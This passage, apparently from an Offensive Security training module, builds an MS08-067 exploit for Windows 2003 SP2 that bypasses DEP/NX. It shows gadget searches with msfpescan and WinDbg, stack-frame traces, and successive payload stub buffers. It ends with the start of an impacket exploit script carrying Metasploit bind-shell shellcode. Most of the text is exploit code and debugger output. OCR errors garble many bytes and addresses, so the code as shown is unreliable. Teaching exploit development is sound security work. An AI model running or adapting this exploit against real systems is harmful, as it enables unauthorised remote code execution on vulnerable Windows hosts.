We can’t use 0x76409e92 as a return address because it resides in a memory page marked as readonly.
Let's try to search for a different opcode sequence which leads to the same result:

root@bt ~/framework-3.2 # tools/nasm shell.xb
nasm > push edi

00000000 57 push edi
nasm > ebp

00000000 5D pop ebp
nasm >

root@bt # msfpescan -r "\x57\x5d\xc3" -M /tmp/svchost dump/ | grep Ox
root@bt # msfpescan -r "\x57\x5d\xc2\x04" -M /tmp/svchost dump/ | grep 0Ox
0x77e02a0a 575dc204

0x77a083a2 575dc204

0x71bf1bd3 57540204

Ox71bf3d7¢c 575dc204

Msfpescan in action
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We found more than one match! Let’s check with Windbg if the selected address resides in a memory

page marked as executable:

0:017> !'address 0x77e083a2
77200000 : 77201000 - 0001a000
Type 01000000 MEM IMAGE
Protect 00000020 PAGE EXECUTE READ
State 00001000 MEM COMMIT
Usage RegionUsageImage

FullPath C:\WINDOWS\system32\NTMARTA.DLL

0:017> u 0x77e083a2
NTMARTA!CKernelContext: :GetKernelProperties+0xf:

77e083a2 57 push edi
77e083a3 5d pPop _abp
77e083a4 c20400 ret il
77e083a7 90 nop
77e083a8 90 nop
17e083a9 90 nop
77e083aa 90 nop
T7el83ab 90 nop

Checking Protection on Address Memory Page

Yes! Our return address should be fine.
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We are ready to modify our exploit; we are going to modify the “stub” buffer that is presented below:

stub= '\x01\x00\z00\x00"' # Reference 1D
stub+="\x10\x00\x00\x00" # Max Count
stub+="\x00\x00\x00\x00" # Offset
stub+="\x10\=x00\x00\x00" # Actual count
stub+="\x43'%28 # Server Unc
stub+="Ax00\x00\=00\x00" # UNC Trailer Padding
stub4="\z2f\=200\x00\=00" # Max Count
stub+="\x00\x00\x00\x00"' # Offset
stub+="\x2f\x00\x00\x00" # Bctual Count
stub+="\x41\x00\x5¢\x00\x2e\x00\x2e\x00\25c\x00\x2e\x00\x2e\x00\x5c\x00" #PATH
stub+="\xd41'+18§ # Padding

stub+="\xa2\x83\xe0\x77" # 0x77e083a2 push edi;pop sbp;retn Oxd P
stub+='\x;7\xf5\x83\x7c' # Ox7cB3£f517 mov dword ptr [ebp-4],2 (NX) <S_.——"
stubt="\xCC'*48 # Fake Shellcode

stub4+="\x00\x00" ;i —

stub+="\x00\x00\=00\x00" # Padding ¢ ﬁ"“’yd Ve l‘u‘"‘é‘ /A "ﬂ"‘ -&\
stub+="'\x02\x00\x00\=00" # Max Buf

stub+="\202\=00\=z00\=00" # Max Count

stub+="'\x00\x00\z00\x00" # Offset

stub+="'\x02\x00\=00\=00" # Actual Count

stub+="'\x5ck=00\=x00\x00" # Prefix

stub+="\x01\x00\=z00\x00" # Pointer to pathtype

stub+="\x01\x00\=00\x00" # Path type and flags.

NX_STUB_0x03 stub buffer

Cunk

Let’s attach Windbg to the svchost.exe process, set a breakpoint on address 0x77e083a2 (push edi;pop

ebp;retn 4) and launch our new exploit:

0:045> bp 0x772083a2
0:045> bl

0 e 77e083a2 0001 (0001) Q:¥kkxk
NTMARTA!CKernelContext: :GetKernelProperties+0xf

root@bt #./NX STUB 0x3.py 10.150.0.194

*i*****kttt***k\k'k**i**ii’ii*********tk**********i****\k*#

kdkkkkkokokk ok MS08-67 Win2k3 Sp2 o ke e g kK ke ke
hkkhk ok kkk offensive-security.com LR
s tenas ryujinemuts --- 11/30/2008 EER Ak ARt

4:Jv-l-****\\'\Q-A—\iv*-ir***k’k******%*#it****\k\k****i*k*t***********

Firing pavload...

Breakpoint 0 hit
eax=7c83f517 ebx=012d005c ecx=012df4b2 edx=012df508 esi=012df4b6 edi=012dfd64

elp=77e083aZ esp=012df47c ebp=41414141 iopl=0 nv-up el pl zr na pe nc
cs=001b ss=0023 ds=0023 es5=0023 £s5=003b gs=0000 efl=00000246
NTMARTA!CKernelContext: : GetKernelProperties+0xf:

77e083a2 57 push edi
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ESP-> 012df47¢ 7c¢B3f517 ntdll!depcheckﬂxcompatibility+0x2h
012d£480 cecceecee
012df484 ccececceeo
012df488 ccccecec
012dfd48c ccececceoe
0124£490 cecccecee
012d£f494 ceccccoeee
012df498 ccceeece
012d£f49c ccccocoe
012dfd4al cceecece
012df4ad ccceeceo
012dfdag cccoccece
012dfdac cececece

Stepping over,..

0:012> p
eax=7cB3f517 ebx=012d005¢c ecx=012df4b2 edx=012df508 esi=012df4bé edi=012dfd64
eip=77e083a3 esp=012df478 ebp=41414141 iopi=0 nv up ei pl zr na pe nc
cs=001b ss5=0023 ds=0023 es=0023 fs=003b as=0000 ef1=00000246
NmMBRTh!CKarnelContaxt::GatKernalPraparties+0x10:

77e083a3 5d pop ebp

0:012> p

eax=7cB3f517 ebx=012d005¢c ecx=012df4b? edx=012df508 esi=012df4b6 edi=012df464
eip=77e083a4 esp-012dfd7c ebp-012dfded iopl=0 nv up ei pl zr na pe nc
cs=001b $s5=0023 ds=0023 es=0023 £s5-003Db gs=0000 efl=00000246
NTMBRTA!CKhrnelContext::GetKernelP:qpertiea+Ox11:

77e083a4 c20400 ret 4

NX_STUB_0x03 session

At this point, the EBP register points to the beginning of our buffer as we wanted. Let’s step over until
we reach “call ntdll!NtSetinformationProcess” to see what the stack is going to look like:

[012dfabd Sc
1012df4cd
101241444
{012dfded o
{012df4f4 o
{012dt5

AbnbhAdAL

AMAAAAAALA w
I

CC C
7 08 00
02 6l
a0 00
G0 00
i 00
04
7 b8
0 o0
)
didl £7
og o 3 i}
;02 00 09 Q0 3

i012d£524 :
1012d£534
10124544

df554
12d£5

r:,.i 11

Figure 15: EBP register pointing to the beginning of the buffer
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0:012> p

eax=7c83£517 ebx=012d005¢c ecx=012df4b? edx=012d£508 €3i=012df4b6 edi=012df464
elp=7c83£517 esp=012df484 ebp=012df464 iopl=0 nv up el pl zr ma pe nc
cs=001b 8s5=0023 ds=0023 es3=0023 £s=003b gs=0000 ef1=0000024¢6
ntdll!LdrpCheckNXCompatibility+0x2b:

Tc83£517 c745£c02000000 mov dword ptr [ebp-4],2 s5:0023:0124f460=012df4bd
Eesial]

Tc83£528 eBl285feff call ntdll!NtSetInformationProcess (7c827a3f)

At this point the stack looks like the following:

ESP -> 012df474 ffffffff
0124£478 00000022
012df47c 012d4f460
012df480 00000004

ntdll!NtSetinformationProcess arguments on the stack

We've just push onto the stack all the arguments required by ntdllINtSetinformationProcess. Proceeding
with the call, ntdll!NtSetinformationProcess returns 0 (EAX register) and NX is disabled for the running
process.

: word ptr [eax+edin, |
A w4
=bx . 4
z. 0Fh
ed: mhe
1oword ptr [eaxsedis?)

De eaysy
if464 1opl=0
£5=003k

55
ntdlliNtSetInforsationProcess

Figure 16: NX disabled for the running process
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At this point, execution flow proceeds with the procedure epilogue (“or byte ptr[esi+37h],80h; pop esi:

leave; retn 0x4”)* and our first objective has been achieved.

it

Offset: I@‘&scapalp

7elB343ct fo cld

7cB343d40 000f add byte ptr {edi].cl
7cB343d2 8547b1 test dword ptr [edi-4Fh] eax
7834245 0000 add < j.al
a7 0423780 or byte ptr :

7c8343db Se

a5

7cB343dc

9

7oB34ell Bt raneaaad o e a—rasmusa ¥ T[00000018h)
7cB343e6 3b4030 ROV esx dvord ptr [eax+30h)
7cE34329 2b780c ROV edi. dvord ptr [ea=z+0Ch]
7cBid3ec 83c71c add edi 1Ch

7c8343ef 897dac ROV dword ptr [ebp-54h].edi
7cB343F2 8b37 nowv es1 dvord ptr [edi]

7cB8343f4 8975be mOV dword ptr [ebp—44h] e=i

Figure 17: LdrpCheckNxCompatibility epilogue

Exercise

1) Repeat the required steps in order to disable DEP for the running process.

“please note that, according to the function epilogue, ESI must point to a writable memory address too. In this
case we didn't have to fix £S/ because it was already and “luckily” pointing to a stack address.
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ase Study: Returni

We must now worry about regaining the execution flow by returning into our controlled buffer. Let’s
analyze the function epilogue and the cpu registers to see what is about to happen:

POP EST -> ESE is incremented by 0Ox4 ESP = 012d4df4BB cceoceoocooo
LEAVE -> mov esp, ebp —> ESP = EEP = EDI = 012dfis4 5¢c 00 41 41

pop ebp => ESP = 012df464 + Oxd = 012dfde8 41 41 41 41
RETN 4 -> EIP = 012df468 = 41 41 41 41

ESP = ESP + Ox8 = 0124f470 24 £5 83 7c

ntdll!NtSetinformationProcess arguments on the stack

Offset: igbgg,_—,pelp Previous f Mest | Wirkusk: {esp o “  Prencus g
7c8343b9 0£8553b10000 ine ntdll 1 LdrpCheckNEConpatibility+dx2b {7c83£517 2%{&%:%?01'.1&81 and 5’;&};“_'_} Hext i
3 56 push esi :

; eddcs10000 call ntdll ! LdrpChecklzincompatibleDliSection (783 1 L=t
7 d.ﬂiwr‘? 24cl test al. al 8iclf 488 cooccooce
7c8343c7 0f851£0e0100 jne ntdll | LdrpCheckNEConpatibility+Dxde (7c845isc (01clidSc coocoooo

837dfco cup dvard ptr [ebp—4] 0 01c1£490 cco

llszC4‘er|n|||n j nmlllmm eckHECompatibility+0xdb (FcB3file (01c1£4584

& 37 b

37h)] #0h Dlclit4%8
01clf4%c
0lc1f4a0

c20400 Dlclfdad

B4allannnaan eax deord ptr fs [<(Unloasded_SG DLL:+0x17 (000 01':}:_4'38 L

aba030 eax. dvord ptr [eax+i0h] Oiclfdac .
”b"ﬁﬂr edi deord ptr [eax+0Ch] 01e1fdbi QQJE‘T]Q@_U <Unloaded_SG. DLL:+

Bic71c add edi. 1Ch Oleif4bd 002005 Unloaded SG DLL:+"

897dac meow dword pty [ebp-54h], =di1 01c1f4bg 005002 <Unloaded_SG DIL:+ =
5] 2l S 7
e ~ nD,Col0 SysOiclocsl> (Proc DODided Thrdoioasd Lo oo | HUM

Figure 18: Stack frame layout in LdrpCheckNxCompatibility epilogue (before POP ESl)

P:evious( !

es1 Display fomat: [E—"—_;ln*er and ‘:3‘,'1111:."-:]_ Hex

7c8343cl eBdoSi0000 call ntdll | LdrpCheckizIncompatibleD] lSection (7c83

TcB34328 Edcl best al. al 0121f 488 coocooeo ]

ToB343c? {851 0e0100 ine ntdll ! LdrpChec patibility+0ude (7c8451ec (0lclidbc

7c8343cd B374€clO omp dword ptr [e 1] 101clf490

TocB343dl Of8547h10000 e ntdll ! LdrpCheckHiCompatibility+ixdb (7cB3fSie 101clf494

708343d7 80423780 or byte ptr [=si+37h] B0k 01c1f498

7cB343 esi

F=

=] 20400 4

7c8343e0 64a118000000 nowv eax. dword ptr fs [<Unlosded SG DLL>+0x17 (000

TeB343e4 8b4030 0o max deword ptr [esx+36h] oC . L

7834329 Bh7E0c mow ed1 dword ptr [eaz+lCh] |”]F1E 4b0 l}fiJSGM 0 < lnleaded 5 [_'LI, +

7cB8343ec 83cT1c add ed1, 1Ch Olclfd4bd4 002e005c <Unloaded SG DLL»+ |

7cB8343ef B97dac T dword ptr [ebp-54h]. eda l“]l 1£4b8 005c002e <Unloadsd SG DLL»+"

JcB343E2 8hL37 mow esi dword ptr [edi] 01elfdbe 41414141 _:'I

| sl | s
nD, ColD Sys0:<local> Proc 000:ded Thed 019:a30 T

Figure 19: Stack frame layout in LdrpCheckNxCompatibility epilogue (before LEAVE)
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f %

| New

ntdll ' LdrpChecklglnconpatiblell 1Sec
al.al

ntdll ! LdrpCheckNiConpatibility+0x3e (7cB4blec
dword ptr [ebp-4]1.0

ntdll ! LdrplheckNiCompatibilitv+0xdbh (7cB83f51le
byte ptr [esi+37h] 80h

2 tion {7cB3
84ch

0f851E0e0100
837dfcOl

c20400

o el 643118000000 eax dvord ptr fs [<Unloaded SG DIL>+0x17 (000
7cB343=6 2h4030 My eax dword ptr [eaz+30h)
Jociidied 8780 noy edl dword prr [eax+0Ch]
7cB343ec 83c71c add edi, 1Ch
7edlddef 897dac BOW dword ptr [ebp-54h] edi1
7c8343£2 8b37 ROV esi dword ptr [edi]
?58313f4 8975bc ®OY devord ptr [ebp-44h] es1 ;
‘

Dispiay form,

01c1E47
D1clt478
0lclfd7c
Dlclf4an
OlclfdBd
llcif4as
Olcifdic
Dlelf490
Dlelfd494
01c1£498
01clE49c
4

el Memery =Bl
§ wnu&:iee;- :

'gpclnner and 5?35211'

Previoi

Nest

Tadb
7c83f52d
FLEEELEE
gooogozz
0lclfdel
ooooooo4
CCCCCCoT
COCCCOoC
= e
COCOOTes
coooooes
==l
CCCCCCCC

ntdll ! ZeSetInforma™ |
ntdll ! LdrpCheckiC

‘Uinloaded_SG DLL:+
<Unloaded_SG.DLL>+
{Unloaded_SG.DLL:+

i »

n, Col0 SysOi<lacal> ProcO00:ded Thed019:430

Figure 20: Stack frame layout in LdrpCheckNxCompatibility epilogue (before RETN 0x4)

41414142
41414143 7
41414144 27
41414145 77
41414148 7
41414147 27
41414148
41414143 7
4l41414a 77
41414140
4141414c 77
4141414d 77
4141414e 27
41414148 77
41414150 7

Olecif478
0lecifd?c
Ulcli4a0
Dilclfdad
Dlclf488
Olclf4ic

Olcliq494
01c1£498
01clifid9c
Dlclifdal
flelfdad

<

01cl€490 o©

tiffffef
oooonnzz2
Olclfdbl
oooooond
CCLOoonE
COCCoooo

L
CCCCCCCC
CCCCCCCC
COCCCCCC
[ ol

Pointer ana Syabe >

| ntdlliLdrpCheckNEC s

Mt

¢Hnlvaded SG DLL»+
<Unloaded 56 DLL:+
nloaded S& DLL -+

[lno, Cal0 Sysn:<local> Proc DOOided 'Thed 019:a30 |2

Figure 21: Stack frame layout in LdrpCheckNxCompatibility epilogue (after RETN 0x4)

We own EIP - however none of our registers seem to point to a usable buffer chunk. Checking deeply,
we can see that £SP points to Ox7c83f52d ...that looks familiar! Let’s take a look at the part of the stack
frame pointed by EBP just before and after the call to the ntdll!ZwSetinformationProcess procedure:

Before ntdll!ZwSetInformationProcess call

012df464 5¢ 0D 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0124F474 41 41 41 41 64 f4 24 01 17 £5 €3 7¢ cc cec co oo

After ntdll!ZwSetInformationProcess call:
012dfd464 5¢ 00 41 41 41 41 41 41 4b 7a B2 7c 24 £5 83 Te
012df£474 £f £f £f £f 22 00 00 00 60 £4 24 01 04 00 00 00

0:015> u TecB27adb
ntdll!ZwSetInformationProcess+0xc:
7cB27a4b ¢21000 ret 10h
TcB27ade 90 nop

52
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0:015> u 7eB3f52d4
ntdll!LdrpCheckNXCompatibility+0x5a:
7cB3f52d ef9abdeffff Jmp ntdll!LdrpCheckNXCompatibility+0x5a (7c834347)

Stack Frame before and after ntdllINtSetInformationProcess Call

The 0x7c83f52d and 0x7c827a4b addresses that we see overwriting part of our “\x41” 18 Bytes buffer,
are respectively the LdrpCheckNXCompatibility return address and the ZwSetInformationProcess return
address: when a subroutine calls another procedure, the caller pushes the return address onto the

stack, and once finished, the called subroutine pops the return address off the stack and transfers
control to that address™,

virtual: {e=p ~ Previous g Wirtual: |esp-8 Previous !

Display Format: ! Pointer and Svm }:"Ll

el ] Display format: [Pointer and Symbiv]|  MNet |
ﬁ[ﬁm ntdll | LdrpCheckNECia| T -
1c1fd74 fEE££££F O0lclfdéc 7c827adb titdlliZwSetInforna
01c1£478 00000022 <Unloaded SG . DLL>+ 01c1£470 7cB3f52d ntdll!LdrpCheckNEC
Ulclfd7c 01clidel <Unloaded SGC DLL:+ 01c1f474 fEFEFFFEE
01lclfd8l 00000004 <Unloaded SC DLL>+ 01cif478 00000022 <Unloaded_SG. DLL>+
Dlclidbd 01clfd?c 01clfd46l <Unloaded SG DLL>+
N1clfdies 01c1£480 00000004 <Unloaded SG. DLL:>+
';licflf.‘igﬁ 01c1f484 cooooooo
01c1£490 01c1f488 ccoccoce
d1clf494 Olclfd48c cococcoooo
1lclf498 : - 01c1£490 cocoooos
{iclf49c coooceeo 01cl1f494 coccococoo
0lclf4al cccococco = 01c1£498 cocococococo o
(iclfdad ccooccooeo _"_'_] 01lclf49c ceococococoo :j
1 { | Ll L {! ; .,Ll

Figure 22: ESP-0x8 points once again to a controlled DWORD

So what can we do now? If'‘we could find a way to avoid those 8 bytes to be overwritten, we would have -
ESP pointing to a controlled buffer chunk! A “pop r32;retn” opcode sequence should increment the ESP
register by 8 bytes, and should make the trick! Let’s search for it in ntdll memory space using Windbg:

root@bt ~/framework-3.2 # tools/nasm shell.rb

nasm > pop ebp

00000000 5D pop ebp

0:050> 1dlls -c ntdll
Dump dll containing 0x7c800000:

0x00081£08: C:\WINDOWS\system32\ntdll.dll

Base
Flags

0x7c800000 EntryPoint
0x80004004 LoadCount

0x00000000
Ox0000Lfff TlsIndex

Size

0x000c0000
0x00000000

13htl:p:,?',:’en‘\.\tfikiy:nedia.or,&z,h.'\riki;’CaIt stack
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LDRE_IMAGE DLL
LDRP_ENTRY PROCESSED

0:050> s 0x7c800000 L0000 5d 3

TcBUL9EB 5d ¢33 3b fO OF B5 bE 2f-0b D0 e9 ek ZE 0500 33 )

T7c801a57 5d c3 Bb cf 49 49 74 20-83 e9 06 Of 84 75 2d 05 ] 5
7c805823 54 c3 0f be 58 Of b6 Bb-1lc Ha 66 BY 59 le &9 7d ]...X.F..Zf.¥..}
7c80807d 5d ¢3 90 00 ce cc cc cec-co 83 e8 69 Of 84 ab £f ]

70809475 5d c3 Of b7 45 08 51 50-eB8 09 0D 00 00 59 59 54 ]

TeBO9484 5d c3 90 90 90 90 90 8b—-ff 55 Bb ec Bb 45 O B3 1........ 3 e el
L..:3

0:050> t!address 7cB09484
TeB00000 : TcB01000 - 00086000
Type 01000000 MEM IMAGE
Protect 00000020 PAGE EXECUTE READ
State 00001000 MEM COMMIT
Usage RegionUsageImage
FullPath C:\WINDOWS\system32Z\ntdll.dll

Searching for POP EBP, RETN

! (bf? E{ ,P
We found more than one match and, once again, we are ready to change our exploit stub buffer to
match the following:

stub= '\x0L\x00\x00\z00"
stub+='\x10\x200\x00\x00"
stub+="A\x00\x00\x00\x00"
stub+="\x10\z00\x00\=00"'
stubt="\x43'*28
stub+="\x00\x00\x00\z00"
stub+="'\x2£f\x00\x00\=00"
stub+="\x00\x00\x00\x00" Offset

stub+="'\x2f\x00\x00\x00" Bctual Count
stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00* #PATH
stub+4="%\x41'*18 # Padding

stub+='\x84\x94\x80\x7c" # 0x7c809484 pop ebp:retn —~ 5['/"

Reference 1D

Max Count

Offset

Actual count

Server Unc

UNC Traller Padding
Max Count

de o ook W S SR 3R S o

4y1rtufilﬁh

stub+='\xFE\xFF\xFF\xFF""' # junk to be popped
stub+="\xa2\x83\xe0\x77" # O0x77e083a2 push edi;pop ebp;ratn Oxd »
stub+="'\x17\xf 83\xTec’ # O0x7c83f517 mov dword ptr [ebp-4],2
stub+='\xCC'1g§ij # Fake Shellcode

stub+="\x00\x00"

stub+="'\x00\x00\x00\x00" # Padding

stub+="\x02\x00\x00\x00" # Max Buf

stub+="\x02\x00\=x00\=00" # Max Count

stub+="\x00\x00\x00\x00" # Offset

stub+="\x02\x00\x00\x00" # Actual Count
stub+="\x5c\x00\x00\x00" # Prefix

stub+="\x01\x00\x00\x00" # Pointer to pathtype
stub+="\x01\x00\x00\x00" # Path type and flags.

NX_STUB_0x04 stub buffer
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Let's set up a breakpoint on our new return address and run the above exploit:

0:050> bp 0x7cB09484

0:050> bl

0 e TcBO9484 0001 (0001) D:**** ntdll!fputwc+0x29
0:050> g

root@bt # ./NX STUB Ox4.py 10.150.0.194

FREAFR A A A A A A A b b A A Rk kb kbbb bbb kb bk bk kb kb kb ek ko kb

& koo ok ok kR ok MSOB_.GT W1n2k3 sz RS T RS S S S
bR e e pffensive-security.com HRF R AR S
khE Ak h kA kR ryujin&muta ——— 11/30/2008 khbkkkhkk ik E

e e e ok e ke e de de e dhedk g e e e e e e e o e e e e e e e e e ok e e ke e o e gk e e ok e ol e ke ol ke e ok e e e e

Firing payload...

Breakpoint 0 hit
eax=ffffffff ebx=010c005c ecx=010cfib2 edz=010cf508 esi=010cfibs edi=010cf464

eip=7cB809484 esp=010cfi7c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b 8s=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=000002486
ntdll [ fputwet+0x29:

7cB809484 5d pop ebp

NX_STUB_0x04 session

70809485 3 ret
7c809486 90 nap
7c809487 30 Ny
7cB09488 90 nop
7809489 90 nop
JcBlv4Ba 90 nop

ntdll!_flswbuf

FullPath & SWIHDOUS systend2intdll 411

0,050 bp O0x7c809484
0 050> bl

0 = 7cBl9464 0001 (0001) 0 wxxx ntdll!lfputwc+i=zz9
0:050> g

Breakpoint 00 hat
cax=ffffffff ebx=010c005c ecx=010cf4b? edx=010cf508 e=s1=010cfdbb edi=010ctfdbd

ei1p=7cilf484 ezp=010cfdi?c ebp=41414141 1opl=0 nv up =1 pl zr na pe nc
ce=001bh s==0023 ds=0023 es=0023 {s=003b gs=0000 ef 1=00000246
ntdll ! fputwe+l=z29:

7809484 &d oo ebp

Figure 23: Breakpoint hit
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_______________________________ Dy fﬂmiPmmr and 7] ﬁfﬁ“ii_i

iy

010ctd7c
010cf480
010cf484
010cf488
010ctdBe
010cf430
010cf494
010c=£498
010cf49c
010ctdal
010cfdad
010cfdad
010cfdac

OiN-L AL

<

FEFETEET
77e2083a2
7oB3£517
i et
CoCCoone
CoCoCCoC
P e
cCccocceo
CCCCCCoT
CCCCCcCCo
cocoocooos
CCCOCoeT

CCoCCoCT
Ot Banon

NTHARTA ! CKernelContext : GetKernelPropert: |
ntdll | LdrpCheckNECompatibility+0x2hb

Figure 24: Stack frame ready for exploitation

.
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Now we proceed (stepping over) until the “retn 0x4” (end of function epilogue) is reached in
LdrpCheckNXCompatibility to check if the “pop ebp; retn” trick will give the expected effect:

eax=00000000 ebx=010c005¢c ecx=010cf474 edx=7cB8285ec esi=cccccccc edi=010cfied

eip=Tc8343dd esp=010cfd68 ebp=4141005¢c iopl=0 IV Up €1 ng Nz na peé nc
cs=001k s55=0023 ds=0023 es=0023 £s=003b gs=0000 efl=000002886
ntdll ! LdrpCheckNXCompatibility+0x60:

7cB343dd c20400 ret 4

ESP -> 010cf468 41414141
010cfd6c 41414141
010cfd470 41414141
010cf474 7cB27ad4b ntdll!ZwSetInformationProcess+0xc

010c£478 7c83£52d ntdll!LdrpCheckNXCompatibility+0x5a
010cfdTc EEEFEFFE

010c£f480 00000022
010cf484 010cf460
010cf488 00000004
010cfd8c cececceee

NX_STUB_0x04 session

s dseein .
Offeat: i@ SCOpE1D Frevious 1
7c8343c0 e28dcs510000 call ntdlltLdrpChecklzInconpatibleDllSection (7c83%95al)
7c8343ct B4ch test al. al

7cB343c? 0£851£0=0100 ine ntdll {LdrpCheckliConpatibility+izie (7c8481ec)
7c8343cd 837dfc00 cup dword ptr [=bp-4].0

7ec8343d1 0£8547b10000 ine ntdil'idrgfhﬁakNAuompat1bl11f"+Uy4h {7c83f51e)
7cB343d7 BO4e3780 oY byte ptr [e=i1+37h].80h

7¢:8343db e pop esl

7c8343dc Lﬁ leave

7c8343el 645119UBDDDD now eax dword ptr fs:[00000018h]

7cB343e6 0b4030 WO eax_dword ptr [eax+30h]

7cB343e% 8h780c Mo edi . dword ptr [ea=+0Ch]

7c8343ec 83cT1c add edl . 1Ch

7c8343ef 897dac M dword ptr [ebp-54h] eda

FcB343£2 Bb37 M esi dword ptr [edi]

7834314 8975hbe mOV dword ptr [ebp-44h] es1

=010cf474 edx=7c6285ec esi=coocooce edi=010cf464

:=010cl0%c scx

elp=7cB347 =p=010cf490 ebp=010cfisd 1opl=0 nYv up 21 ng nT ha pe no

cs=001b s5=0023 d==0023 e=s=0023 {==003b gs=0000 =f 1=00000286

ntdll! LdrpCheckHEConpatibility+0x5f

TocB3dide o leawe

0.034>

Eax= Qﬂﬁﬂﬂﬂ&ﬁ ebx=010005c ecx=010cf474 edx=7ci285ec esi1=ccocccococ edi=010cf4hd

=010cf468 =bp=4141005%c 1opl=0 nv up 21 ng Rz ha pe nc

===0023 d=a=0023 e==0023 f=s=003b g==0000 ef1=00000288

nfdlllldip'hHanh ompatibility+0=x6l:

Tc6343dd c20400 ret 4

Figure 25: Returning into the buffer from LdrpCheckNxCompatibility epilogue
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edi lozfded

ezl CCCooCooo

=he 10c0bbc

edx 7eB8288ec

ecE 10cf474

eax 0

cE 1hb

~f 1 2Rk

<]

Yirtual: lesp . Display format: in:uinter and :_}

Mest

010cf468 41414141

D1l0cfdbc 41414141

010cE470 41414141

010cf474 7cB827ad4b ntdll ! ZwSet Informat ionFProcess+0=c
010cf478 7cB83f52d ntdll ! LdrpCheckNEiCompatibility+0zrta
010cfd7c ££E£££1£F

010cf480 QoQOQO22

010cf484 D10cf4kD

010cf488 00000004

010cfd48c coccoooo

010cfd490 cococooo

010cf494 coccoooo

NMN~f498 rrereeee

Figure 26: Stack frame before returning into the controlled buffer
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And executing retn Ox4 we obtain:

0:034> p

eax=00000000 ebx=010c005c ecx=010cfd74 edx=7cB8285ec esi=ccccccce edi=010cfd64d
eip=41414141 esp=010cf470 ebp=4141005c iopli=0 nv up ei ng nz na pe nc
cs5=001b ss5=0023 ds=0023 es5=0023 {s=003b gs=0000 ef1=00000286
41414141 22 i)

ESP —> 0100f470 41414141 > mmm e o e s e e e e e e e e e i |
010cfd74 7cB827a4b ntdll!ZwSetInformationProcess+ixc
010cfd78 7cB83f52d ntdll!LdrpChecklNXCompatibility+0x5a
01Q0cfdc LfFELLLE
010c£f480 00000022
010cf484 010cf460
010cf488 00000004
010cfd8c ccoocecoo
010cfd90 COCCOOOE Smmmmmm i e e e e o e e e e e |

0x20
bytes

NX_STUB_0x04 session, stack frame after LdrpCheckNxCompatibility epilogue

Yes! Once again we own EIP but now, ESP points to a buffer chunk under our control (0x010cf470 41 41

41 41). We can now substitute the 0x41414141 at 0x010cf468 with a JMP ESP address that we can find
in memory.

We will now insert a SHORT JMP instruction at Ox010cf470 (ESP) so that after the JMP ESP, we will land
inside the first part of our payload (egghunter).

root@bt ~/framework-3.Z # tools/nasm shell.rb
nasm > jmp esp

00000000 FFE4 Jmp esp

nasm >

0:034> s Ox7cB00000 LecOO00 ff ed
Todbatib ff el OFf 86 ¢ fa 9F €67 00 S0 00 9u 00 8 £F .o olil.
7c887713 ff e4 04 00 00 1c 00 fb-7f 00 00 00 00 00 0O 0O

Searching for JMP ESP address

In the following exploit, we have introduced shellcode and an egghunter that will be executed after the
JMP ESP and the SHORT JMP. Please refer to Module 0x01 for more details about adjusting the shellcode
size in the MS08-067 exploit:

#! /usr/bin/python

from impacket import smb

from impacket import uuid

from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
import sys

Print Mkkkdk kR sk r s p Rk kR ke kR Rk kA Ak ARk kdkk ke kR Rk
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pa iUl TEERXFEFEFE  NGO8-67 WinZk3 SP2 NX BYPASS | FRFRREREAERN

TETnL DECER AR offensive-security.com s D
printMExfes ikt ryujinémuts --- 12/08/2008 EbER B i kLRl
Print LR RS S sttt sttt sttt d iR R R SRR AR RS AR SR EREEEEE ST S
try:

target = sys.argvil]

port = 445

except IndexError:
print "Usage: %s HOST" % sys.argv[0]
sys.exit ()

trans = transport.DCERPCTransportFactory('ncacn np:%s[\\pipe\\browser]'%target)
trans.connect ()
dce = trans.DCERPC class(trans)

dee.bind{uuid.uuidtup to bin(('4b324fcE-1670-01d3-1278-5a47bf6eecl88', '3.0%))}

# /*

# * windows/shell bind tcp - 317 bytes

# * http://www.metasploit.com

# * EXITFUNC=thread, LPORT=4444, RHOST=

# */

shellcode = (
"\xfc\x6a\xeb\x4d\xe8\xfI\xEfL\xEL\xFF\x60\x8b\x6c\x24\x24\x8b"
"\ x45\x3c\x8b\xTc\x05\x78\x01\xef\x8b\x4 £\x18\x8b\x5f\x20\x01"
"\ xab\x49\x8b\x34\x8b\x01\xee\x31\xc0\ x99 \xac\xB4 \xc0\x 74 \x07"
"\xcl\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\%24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f \x1c\x01\xeb\x03\x2c\x8b"
"\ x89\x6c\x24 \x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\xBb\x40\x0c"
"\x8b\x70\x1lc\xad\x8b\x40\x08\x5e\x68\xBe\xd4e\x0e\xac\x50\x££"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5F\x54 \xf£\xd0"
"\x68\xcb\xed\xfo\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81 \xed\x08"
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\x£5\xad\x57\ x££ \xd6\x53"
"\x53\x53\x53\x53\x43\x53\x43\x53\ x££ \xd0\x66\x68\x11\x5c\x66"
"\x53\x89\xel\x95\x68\xad\x1la\x70\xcT\x57\xff\xd6\x6a\x10\x51"
"\x55\xfE\xd0\x68\xad\xad\x2e\xe9\x57\xFf\xd6\x53\x55\xFf\xdo"
"\x68\xe5\x49\x86\x49\x57 \xff\xd6\x50\x54\x54 \x55\xFf\xd0\x93"
"\x68\xeT\x79\xc6\x79\x57 \ x££ \xd6\x55 \x£F\xd0\x66\x6a\x64\x66"
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\xB89\xa7\x6a\x44\x89"
"\xe2\x31\xcO0\xf3\xaa\xfe\xd2\x2d\xfe\x42\x2c\x93\xBd\x7a\x38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44 \xf£\xd6\x5b\x57"
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51 \xf£\xd0\x68\xad\xdo"
"\x05\xce\x53\xff\xd6\x6a\x £ \xEF\x37\xfF\xd0\x8b\x57\xfc\x83"
"\ xcd\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6"
“\xff\xd.O" ]

stub= '\x01\x00\x00\x00' # Reference ID
stub+="'\xac\x00\x00\x00" # Max Count
